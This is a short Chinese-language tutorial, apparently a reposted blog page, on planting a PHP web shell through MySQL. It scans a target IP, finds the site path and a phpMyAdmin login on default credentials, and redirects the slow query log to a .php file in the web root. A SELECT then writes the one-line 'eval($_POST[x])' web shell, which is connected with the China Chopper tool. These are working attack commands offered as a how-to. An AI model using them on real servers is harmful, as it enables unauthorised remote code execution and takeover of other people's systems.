温馨提示×

温馨提示×

您好,登录后才能下订单哦!

密码登录×
登录注册×
其他方式登录
点击 登录注册 即表示同意《亿速云用户服务条款》

如何利用sql语句写入shell

发布时间:2021-12-09 19:29:50 来源:亿速云 阅读:433 作者:柒染 栏目:大数据

如何利用sql语句写入shell,相信很多没有经验的人对此束手无策,为此本文总结了问题出现的原因和解决方法,通过这篇文章希望你能解决这个问题。

目标ip:192.168.52.143

一、御剑扫描该地址

如何利用sql语句写入shell

获取到重要信息:

1、网站的绝对路径

如何利用sql语句写入shell

2、phpmyadmin,并且是默认账号密码:root

如何利用sql语句写入shell

解决方法:

1、设置slow_query_log=1 启用慢查询日志。

如何利用sql语句写入shell

2、修改slow_query_log_file日志文件的绝对路径以及文件名

set global slow_query_log_file='c:/phpstudy/www/xx.php'

如何利用sql语句写入shell

3、向日志文件写入一句话

select '<?php eval($_POST[x]);?>' or sleep(11)

如何利用sql语句写入shell

三、用菜刀链接

如何利用sql语句写入shell

看完上述内容,你们掌握如何利用sql语句写入shell的方法了吗?如果还想学到更多技能或想了解更多相关内容,欢迎关注亿速云行业资讯频道,感谢各位的阅读!

向AI问一下细节

免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:is@yisu.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。

AI